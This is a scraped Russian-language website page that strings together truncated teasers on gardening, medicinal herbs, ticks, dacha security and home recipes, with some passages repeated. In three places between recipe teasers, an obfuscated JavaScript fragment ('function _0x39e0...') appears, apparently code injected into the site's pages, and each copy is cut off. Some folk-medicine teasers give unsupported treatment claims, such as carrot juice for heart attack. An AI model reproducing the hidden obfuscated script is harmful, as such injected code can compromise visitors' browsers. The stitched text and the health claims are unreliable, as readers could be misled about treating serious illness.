14:24
Шольца напугал «Орешник»
Новости
Чиркова Татьяна
"Изо всех овощей - она первая".Марк КАТОН, писатель Древнего Рима
Все формы капусты происходят от дикорастущих видов, произрастающих в средиземноморских районах Западной Европы и Северной Африки. В Древнем Египте белокочанная капуста считалась изысканным блюдом, которое подавали на десерт. Уже в те времена были известны и ее лечебные свойства. Кочан капусты - это природная кладовая витаминов. По содержанию витамина С она не уступает лимону и апельсину. В старинных лечебниках и травниках рекомендовали листья прикладывать к больным суставам, нарывам, кровоподтекам, а измельченную - к гноящимся ранам, ожогам, обмороженным местам. Капустный сок пили при водянке, зубной боли, для улучшения аппетита и пищеварения,...
Для того чтобы весело встретить Новый год, вовсе не обязательно, высунув язык, носиться по магазинам и базарам в поисках чего-то необыкновенного. Чудо можно сотворить своими руками. Было бы только желание. В этом убеждают советы, которыми решили поделиться наши читатели.
ЗИМНЯЯ ФАНТАЗИЯ
На Новый год всегда хочется чего-то необычного. Мы предлагаем вам создать композицию "Сердце". Для этого потребуется совсем немного: веточки можжевельника, несколько листочков от комнатного цветка пеларгонии (герани), свечки в металлической оправе, пластилин, лоскут мягкой ткани, желательно поддон и речной песок.
Итак, по бумажному лекалу вырезается из жести форма будущей композиции. Края ее загибаются на 50 мм, чтобы получился поддон. Чтобы наше "сердце" дольше "дышало", потребуется песок. По краю формы укладываем пластилин желтого цвета шириной около 30 мм. Ткань зеленого цвета, уложенная поверх песка, будет дном нашей...
В этом году решила устроить на своем участке аптекарский огород. Посадила любисток, кориандр, ноготки и перечную мяту. Все растения прижились, кроме мяты. Может быть, существует особый вид, культивируемый именно в условиях Подмосковья? Валентина СЕМИНА
Мята известна в культуре давно. Ее употребляли в пищу древние египтяне, греки, римляне. Главное достоинство ее - эфирное масло, основным компонентом которого является ментол. Ментол, как многим известно, широко применяется в медицине. Он входит в состав валидола, корвалола и капель Зеленина. Раствор ментола в масле используют для ингаляций и смазывания при воспалительных и простудных заболеваниях верхних дыхательных путей.
Широко применялась мята и в кулинарии. Известно, что древний римский кулинар Апиций использовал мяту более чем в 30 блюдах из баранины, свинины и дичи. Особенно хороша она была в соусах. Однако в древнерусской кулинарии...
Нынче в моде стало выращивание пряных и лекарственных растений. Причем некоторые из них на грядках появились совсем недавно.
Возьмем, к примеру, сельдерей. Мало кто знает, что это растение как культура появилось в античные времена. Тогда листовой сельдерей возделывали не только как пряное, но и как лекарственное растение. В XVI веке была выведена корневая разновидность этой культуры. В наши времена употребление сельдерея значительно расширилось.
Сельдерей - очень ценное пряное растение, имеющее специфический запах из-за высокого содержания в нем эфирного масла - седанолида. В листьях его содержится много витаминов С, А, В, В2, РР1. Корнеплоды, помимо витамина С, богаты каротином, органическими кислотами, содержат фолиевую кислоту, минеральные соли и многое...
Когда злая красивая волшебница Медея решила помочь своему возлюбленному Ясону похитить золотое руно, охраняемое недремлющим драконом, она усыпила чудовище своим зельем. Змей уснул, руно они украли, но рецепт зелья остался неизвестным. Зато достоверно известно, что основным компонентом этой отравы послужил можжевельник, произрастающий по всей Европе и России.
Называют его по-разному: верес, арса, яловец, дрожжевельник, тетеревиный куст. Когда-то в деревнях носили семена можжевельника. Считалось, что на их владельца никогда не нападет змея. Колючий кустарник пользуется особым предпочтением у верующих. Можжевеловые ветки освящали в храмах и помещали за иконы в полном убеждении, что таким образом защищают дом от нечистой силы. С вечнозелеными веточками ходили париться в баню, выгоняя из себя хворь.
О врачебной пользе можжевельника "Московские губернские ведомости" писали в 1852 году: "Полезное действие ягод наблюдается при лечении большинства болезней - при водяной болезни, против глистов, слабом...
Полезные свойства моркови общеизвестны, но мало кто знает, что, например, эфирное масло, содержащееся в ее семенах, применяют при производстве ликеров и косметических средств. Наукой доказано: в год человеку необходимо съедать не менее 18 килограммов моркови. Ежедневное употребление ее укрепляет организм, повышает его сопротивляемость к инфекциям.
Давным-давно морковь была какого угодно цвета, но только не оранжевого. К примеру, в Египте она росла фиолетовой, в Римской империи - белой, а в ряде западных стран - черной. Это цветовое разнообразие просуществовало до XVI века, пока голландские садоводы не вывели нынешнюю морковь - оранжевую.
Корнеплод моркови - ценный пищевой продукт, который содержит сахар, витамины, микроэлементы. В народной медицине используется в качестве мочегонного, легкого слабительного, ранозаживляющего средства. Свежевыжатый сок по две-три столовые ложки три раза в день рекомендуется при инфарктах миокарда с первых дней заболевания. Для лечения кашля при...
В декабре у многих птиц начинается бескормица, так как красная рябина и черноплодная ирга,
В декабре у многих птиц начинается бескормица, так как красная рябина и черноплодная ирга, калина и другие ягоды уже съедены либо, осыпавшись, лежат под снегом. Помочь пернатым в это трудное время вполне под силу людям. Синицы, поползни, пищухи, дятлы и воробьи остаются зимовать в местах постоянного их обитания. Основная их пища - насекомые, которых они отыскивают под корой деревьев. Но этого им недостаточно.
Птичий рацион состоит в основном из семян различных растений: конопли, подсолнечника, арбузных и тыквенных семечек, а также цветов и шишек. Орехи, овсяные хлопья и сушеные ягоды очень любят дубоносы и щеглы, а клесты - семена шишек....
Это растение называют по-разному. В Сибири, на Дальнем Востоке, а также в европейской части России - дерезой, гнецом, колючкой, ракитником, млечником. На Кавказе - джакудлой, в Средней Азии - джиддой. Однако, на мой взгляд, русское название его наиболее точно - облепиха.
Облепиха стала возделываться у нас сравнительно недавно, хотя дикорастущей была хорошо известна с глубокой древности. Растение широко использовалось в монгольской, тибетской, индийской медицине, а также в Древней Греции и Риме. Самой ценной частью облепихи являются плоды: очень сочные, с тонкой кожицей. Внутри плодов - несколько длинных блестящих семян с большим содержанием жирного масла. Облепиховое масло и является незаменимым продуктом. Оно богато жирными кислотами, которые необходимы организму для предотвращения склероза, укрепления стенок сосудов, нормального функционирования нервных волокон. Периодическое втирание облепихового...
В эти дни дачники завершают уборку урожая. С грядок, пока не выпал снег и не наступили морозы, собирают корнеплоды петрушки, сельдерея, редьки, репы и пастернака.
Заканчивается сбор поздней белокочанной капусты. Чтобы кочаны не растрескивались, надо надорвать их корни, повернув кочан на 90 градусов по часовой стрелке. Низкие температуры и заморозки до минус 4-5оС не скажутся на качестве капусты, если она продолжает расти на грядках. Хранить ее лучше на деревянных стеллажах или подвешивать в сетках кочерыжкой вверх.
Лук-порей и хрен продолжают расти даже при значительном похолодании, поэтому убирают их в последнюю очередь. У порея выкапывают растения, ножка у которых в диаметре не менее 2 см. У сорванных растений корни обрезают до 3 см и прикапывают их в непромерзающем подвале в ящике с влажным...
Калина - достаточно обычное для средней полосы России растение, распространенное в лесной и лесостепной зоне.
Ягоды калины содержат 32% сахаров, дубильные вещества, органические кислоты, аскорбиновую кислоту и каротин. Как целебное средство калина упоминается в травниках с XV столетия. Она широко употреблялась в русской народной медицине. Кора калины поможет страдающим спазмами сосудов, бессонницей и даже истерией (столовая ложка сухой коры заливается 0,5 л кипятка, затем настаивается не менее суток в темном месте. Настой процеживается и готов к употреблению - по столовой ложке три раза в день перед едой).
При заболевании сердца рекомендуется молотые ягоды готовить вместе с косточками. Кроме того, ягоды используются как общеукрепляющее средство,...
В далекие времена пряные растения ценились наравне с серебром, золотом, шелками и мехами... Петр I называл их "пряное зелье" и даже издал указ о заготовках для царского двора.
В мире насчитывается более 200 видов пряно-ароматических растений. Сегодня мы расскажем о базилике, встречающемся под разными названиями: огородный, обыкновенный, душки, душистые васильки, базилик мятолистный и гвоздичный.
Родина базилика - Восточная Индия. Но со временем плантации его распространились в Европе, Крыму, Молдавии, Средней Азии, Закавказье, в Средней полосе России. Цветет он с июля до сентября - середины ноября. В это же время созревают и плоды. Приятный вкус и запах, напоминающий душистый перец, позволяют широко использовать это целебное растение в свежем и сухом виде в качестве приправы к салатам, сырам, супам и подливам...
Об этой спутнице нашей жизни можно рассказать много интересного и полезного.
Родовое название этого растения образовано от латинского "urens" - жгучий, указывающего на общеизвестное неприятное, но полезное свойство крапивы. В Древней Руси ее называли коприной, то есть шелком, и вырабатывали из нее ткань. Кроме того, у русского народа она пользовалась известностью как верное средство против всякой нечисти - ведьм и русалок, которые больше всего на свете боятся осины и крапивы. Поэтому в следующее за Троициным днем воскресенье "Русальное заговенье" принято было стегать друг друга крапивой для защиты от "русалочек".
Шведский ученый А.Норденшельд в 1880 году даже разыскал в Гренландии место стоянок древних викингов...
Ранней весной, когда листья на деревьях еще не появились, она прорастает сквозь толщу снега и тянется к солнцу. Никто не может пройти мимо, не посмотрев на это чудо природы под названием фритиллярия, или императорский рябчик.
Дикие виды, от которых произошли современные фритиллярии, встречаются и поныне на Кавказе, в Турции, Иране, Средней Азии и Европе. Разводится она во многих европейских садах и начинает цвести уже в первую весну. Но все же любимым местом обитания фритиллярии являются побережья Атлантического океана и Средиземноморья. Еще она известна как сарана (от тюркского "желтый"). На Дальнем Востоке, в Сибири, а также на Украине живет ее родственница - дикая лилия, именуемая саранкой. В конце XVI века родилось в народе предание, будто саранка выросла из сердца казачьего атамана Ермака Тимофеевича, "погибшего в этих местах в бою с войском хана Кучума...
Родиной перца считаются Мексика, Гватемала, Перу. Археологические раскопки выявили его древнейшее происхождение. Индейцы включали плоды диких видов перца в свой рацион 7,5 тысячелетия до нашей эры, а окультуривание их произошло значительно позже. Лишь только в конце XV столетия нашей эры он обосновался в Испании и Португалии благодаря мореплавателю Христофору Колумбу. В Россию, точнее, в Астрахань перец проник из Турции и Ирана.
Прогретые в горячей воде семена перца всходят дружнее и быстрее, чем необработанные. Лучше всего это делать в термосе при температуре воды 50о С. Семена заставляют париться два часа. Нельзя прогревать семена возле батареи или печки - они могут высохнуть и потерять всхожесть. Хорошо перед прогреванием семена протравить в темно-фиолетовом растворе марганцовки в течение 20 минут, а потом промыть в проточной воде.
Рассаду перца следует сажать в грунт немного глубже, чем она росла в горшочках. Благодаря этому из стебля начнут развиваться придаточные корни, добывающие растению дополнительные питательные вещества.
За сезон рекомендуется подкармливать...
Прошлой осенью посадила у себя на участке голландские тюльпаны. До середины зимы земля не была покрыта снегом. Январские оттепели еще больше озадачили многих садоводов, когда на ветках декоративных и плодовых деревьев стали пробуждаться почки. А теперь пришли вдруг настоящие морозы. Не погубят ли они посевы?Светлана ПЫНИНА. Можайск, Московская область.
Отвечает эксперт отдела цветочных и декоративных культур фирмы "Российские семена" Андрей СУСОКОЛОВ:
- Декоративные кустарники, возможно, подмерзли, но только в тех местах, где началось сокодвижение, поэтому страдают почки на окончании побегов. Есть основания полагать, что весной "проснутся" спящие почки на скелетных ветвях и дерево продолжит свою жизнь за счет новых побегов. А вот крона может потерять свою первоначальную красоту, ее придется формировать в следующие годы.
Что касается луковичных цветочных культур, то их сажают с осени на глубину 10-15 см. В январе не было морозов, пагубно влияющих на посадки. Поэтому, вероятнее всего,...
Когда злая, но красивая волшебница из Древней Греции Медея решила помочь Ясону похитить
Когда злая, но красивая волшебница из Древней Греции Медея решила помочь Ясону похитить "золотое руно", которое охранял недремлющий дракон, она усыпила чудовище зельем, приготовленным по собственному рецепту. И все это было сделано ради одного обещания Ясона жениться на ней.
Естественно, змей уснул, и руно они украли, но рецепта так и не оставили. Зато достоверно известно, что основным компонентом этой отравы послужил всем известный можжевельник, ныне произрастающий по всей территории Европы, России и ближнего зарубежья.
Название у него разное в зависимости от места обитания: верес, арса, яловец, дрожживельник и тетеревиный куст.
Благодаря...
Вряд ли кто будет спорить относительно вреда курения табака. Но, однако, лишь желания избавиться от этой дурной привычки бывает весьма недостаточно. Оригинальный и простой способ предложили наши читатели из Геленджика.
Оказывается, с проблемой курения легко справляется татарский корень, или горчанка, который растет по всей территории бывшего Советского Союза, а в России известен под названием "цикорий дикий". Однако родиной его являются Египет, Греция и Ливан. Потом цикорий перебрался в Японию, Китай, Азию, Европу и даже в Северную Америку. Его длинный моркововидный корень с неприятной горечью, сухой и без запаха употребляется в медицине. Листья молодого растения используют в салатах, но для этой цели разводят специальные сорта, которые при отсутствии света становятся бледными и нежными, но все-таки жестче кочанного салата. В Бельгии, например, такой...
Старинное народное лекарственное растение знали еще древнегреческие врачи в царствование Митридата Евпатора.
Вкус растения вяжущий и горьковатый, а запах пряный, ароматный. Траву надо собирать до самого цветения. Корень же вытаскивается весною. При перегонке растения с водою получается эфирное масло желтого цвета, весьма приятного запаха, но горьковато-вяжущего вкуса. Составные части его: эфирное масло инулин и дубильное вещество.
Свежие листья лопуха или сухие, размоченные в теплой воде, обладают антибактериальными свойствами. Их используют как ранозаживляющее средство, прикладывают к ожогам, ранам, порезам, ушибам и ссадинам, воспаленным и опухшим участкам кожи.
Настои из лопуха применяют для стимуляции обмена веществ как жаропонижающее и...
"...За свою жизнь я посадил немало различных деревьев, в том числе и плодовых. И вот на склоне лет решил испытать судьбу с хурмой. Воткнул в цветочные горшки четыре семечка, еще не веря в удачу. В первые новогодние дни заметил какие-то бугорочки, а потом появились и семядоли. Сейчас хурма выросла до 28 см. Теперь такой вопрос: а что дальше?"Богачев В.В.Конаковский районТверской области.
По странному совпадению я тоже накануне Нового года посадила семечки хурмы в горшки и получила точно такие же результаты, как у садовода-любителя Богачева. Но судьба молодых побегов закончилась трагически. Мой любимый котенок сбросил горшок на пол - и все побеги сломались. Огорчаться я не стала, потому что животному виднее, какому цветку на окошке расти. Одновременно я прочитала родословную хурмы в энциклопедии, что подтвердило мое мнение.
Ботаническое название хурмы Diospyros L. Это растение распространено по всей земле и имеет около 150 видов. Стройное дерево или кустарник с вкусными, величиной с вишню, ягодами. Серо-зеленая, твердая...
Легендарная мандрагора известна в России под разными именами: адамова голова, мужской корень, сонное зелье, пупочник, шишкарник, пустосел и кукушкины сапожки.
С древних времен сохранилось множество легенд о смертельном риске, которому подвергает себя корнеискатель при выкапывании мандрагоры. Одна из них предупреждала его повернуться лицом к западу, очертить троекратно ножом место с заветным растением, привязать мандрагору к хвосту черной собаки и заставить ее выдернуть корень. Выходя из земли, адамова голова будто бы издавала такой страшный крик, что ее стали называть "трава-покрик".
Корень "царя во всех травах" похож на редьку с причудливыми выростами. Еще Пифагор Самосский, живший в VI веке до н. э., отмечал внешнее сходство корня с человеческим образом. Многие уже тогда верили, что с его...
В лесу мы больше всего боимся не хищников, а обычных насекомых: клещей, комаров, ос, пчел и других кусающихся особей.
Среди сезонных охотников за людьми опаснее всего клещи, ибо они могут заразить человека энцефалитом и геморрагической лихорадкой. О последней вновь заговорили а прошлом году, обсуждая странные смерти на Ставрополье. Считалось, что медицина расправилась с ней еще в шестидесятых, но нынешний год показал, что геморрагическую лихорадку списали рано - сейчас ею болеют не только в Ставрополье, но и в Башкирии, Казахстане, Крыму, Краснодарском крае и на Северном Кавказе.
Принято считать, что клещи, переносящие энцефалит, водятся где-то за Уралом. Но в прошлом году случаи заболевания отмечались даже в Подмосковье. Уберечь себя от опасности реально,...
После прогулки в лесу обнаружила на своей куртке маленького клеща. А что делать, если он
После прогулки в лесу обнаружила на своей куртке маленького клеща. А что делать, если он попадет на кожу или запутается в волосах?
Анна О., Подольск.
- Постарайтесь избежать близкого знакомства с этим созданием! Лесной и таежный клещи - основные переносчики вируса весенне-летнего энцефалита. Эта болезнь, распространенная в Сибири и на Урале, сегодня все более частый гость и в европейской части России. Симптомы заболевания - высокая температура, резкая головная боль, спазмы мышц. В случае, если медицинская помощь окажется запоздалой, дело может окончиться трагически... Клещи являются переносчиками и болезни Лайма, поражающей суставы,...
Кому из садоводов не доводилось видеть шарообразные, с дыркой посередине шапки, прикрепленные к потолку постройки, имеющей большие щели в стенах?
Осы, живущие в таких гнездах, называются бумажными и живут небольшими обществами. У них есть развившиеся самки и недоразвившиеся рабочие осы - именно они и занимаются возведением гнезд.
Бумажные осы устраивают их с изумительной ловкостью. Материалом для постройки являются пережеванные особенным образом растительные вещества, так что получается род бумаги или мягкого картона меланжевой расцветки. Гнезда достигают иногда 0,5 м в обхвате и состоят из нескольких этажей, соединенных между собой небольшими колоннами. Вблизи входа расставлены "часовые", предупреждающие обитателей жилища об опасности. Осенью здесь появляются самцы и самки, и...
ОБЧИСТИЛИ В НЫНЕШНЕМ ГОДУ МОЮ СОСЕДКУ ПО ДАЧЕ НАДЕЖДУ ПАВЛОВНУ. И ЧТО ИНТЕРЕСНО, РЕШЕТКИ С ОКОН НЕ СНЯЛИ, ЗАМОК С СЕКРЕТОМ НЕ СЛОМАЛИ И ДВЕРЬ ДУБОВУЮ НЕ ИЗУРОДОВАЛИ. ВЛЕЗЛИ ЧЕРЕЗ ОКНО ВТОРОГО ЭТАЖА ПО ЛИАНАМ ДИКОГО ВИНОГРАДА.
На столе утюг электрический стоял - на нем воры яичницу пожарили. Слава Богу, утюг не забыли выключить. Теперь у жертвы нападения решетки на всех окнах поставлены.
Закрывая дом на зиму, каждый хозяин старается защитить свое недвижимое имущество от любителей легкой наживы. Однако не всегда это удается, потому что криминальные элементы, как правило, умнее и находчивее оказываются.
Попробуем взглянуть на свой дом как бы глазами правонарушителя. Новый забор из сетки-рабицы? Это хорошо... Снимается легко и продается недалеко. Например, в соседнее садовое товарищество с доставкой на дом. Но с проблемой такого рода справиться можно, если при...
Этим секретом поделилась с нами Римма Булатова из поселка Кубинка Московской области.
Вот уже третий год я пользуюсь этим способом, в который соседи мои поначалу не верили. Участок мы получили в отработанном песчаном карьере. Колодца нет, а водопровод включают в конце мая. Но растения уже с апреля пить хотят. Поэтому я запасаюсь двухлитровыми пластмассовыми бутылками из-под газированных напитков, осенью ставлю их в парник и наполняю водой. Бутылки с легкостью переносят даже самую низкую температуру и не лопаются. Весной я поливаю этой водой овощи, посаженные под зиму: морковку, чеснок, свеклу и петрушку.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
В Древней Греции любили застолья и во время очередной попойки надевали на головы венки из
В Древней Греции любили застолья и во время очередной попойки надевали на головы венки из душистых цветов и трав. Уже тогда люди заметили, что цветы защищают от хмеля. Лучшей зеленью в этом случае считалась трава сельдерея, хорошо известная садоводам и хозяйкам нашего времени.
В старину русские эпикурейцы тоже венчали свои головы венками и, снимая пудреные парики, умащивали свои головы душистыми мазями.
А у простого народа существовали свои средства борьбы с алкоголизмом. Для этого брали 4 части травы золототысячника и одну - полыни. Столовую ложку смеси заваривали стаканом кипятка и принимали по одной ложке три раза в день.
Сейчас еще...
Сначала готовится айва. Плоды нарезают тонкими ломтиками, очищают от зерен и опускают в кипящую
Сначала готовится айва. Плоды нарезают тонкими ломтиками, очищают от зерен и опускают в кипящую воду. Варят на медленном огне при закрытой крышке. Через минут 10 в кастрюлю кладут сахарный песок и доводят до кипения, после чего добавляют заранее нарезанные яблоки (кроме антоновки). После того как яблоки покроются сиропом, дать остыть варенью полностью. Повторять до тех пор, пока яблоки не покраснеют.
На 1 кг яблок берут 1,5 кг песка, 500 г японской айвы и 2 стакана воды.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return...
ИЗ ЯБЛОКА ДЕЛАЮТ ГРИБЫ
Оригинальным украшением обеденного стола может быть краснощекое
ИЗ ЯБЛОКА ДЕЛАЮТ ГРИБЫ
Оригинальным украшением обеденного стола может быть краснощекое яблочко, нижнюю часть которого вырезают в форме... ножки гриба. Из отрезанных кусочков получится еще несколько маленьких грибочков. Расположенные все вместе на тарелке красивой группкой, украшаются они сбитыми сливками.
КАК "РАЗДЕТЬ" ПЕРСИК
Удивительный вкус приобретает персик, если его правильно приготовить на десерт. Бархатистая кожица, неприятная на вкус, легко и непринужденно снимается, если персик поместить в глубокую посудину и облить кипящей водой. Через пять минут персик быстро разденется, а вкус его усилится.
function _0x39e0(_0x2e6d70,_0x39105a){const...
Этими рецептами поделилась с нами читательница из Москвы Татьяна Григорьевна Семенова - садовод с многолетним стажем.
У небольшой тыквы отрезаем сначала макушку и вытаскиваем семена. Затем закладываем промытые изюм, курагу, чернослив и орехи. Свежие яблоко и грушу, нарезанные дольками, добавляем для аромата. Фрукты засыпаем сахарным песком. Тыкву плотно закрываем срезанной макушкой. Причем линию среза смазываем тестом, чтобы пар наружу не выходил. Полтора часа, проведенные тыквой в духовке при слабом огне, превратят ее в чудесное десертное блюдо.
Фаршированная тыква заменит вам любое горячее блюдо. Небольшую тыкву обшлепать ладонью снаружи, выскоблить ее хорошенько внутри и начинить мелко изрубленной бараниной с луком. Добавить промытый рис, зелень...
По народному календарю 8 октября - день памяти Преподобного Сергия Радонежского Чудотворца. С этого времени начинают на Руси рубить капусту, а до 15 октября убирают ее на хранение. Подвешивают кочаны за корни в подвале или чулане и хранят при температуре плюс 1-5 градусов.
КАПУСТА МАЛОСОЛЬНАЯ (РЕЦЕПТ ДОНСКИХ КАЗАЧЕК)
С небольшого вилка белокочанной капусты снимают верхние листья и шинкуют ее как можно тоньше. Две морковки средней величины нарезают полупрозрачными кружочками. Три средних яблочка тоже шинкуют тонкими дольками. Стакан изюма заливают кипятком и дают настояться. Потом промывают ягоды холодной водой. В стерилизованную стеклянную банку или эмалированную кастрюлю кладут на дно лист капусты, смазанный медом. Все компоненты укладывают поочередно в подготовленную посуду, пересыпая каждый слой солью, только немного. Содержимое банки время от времени уминают деревянной толкушкой. Когда банка наполнится...
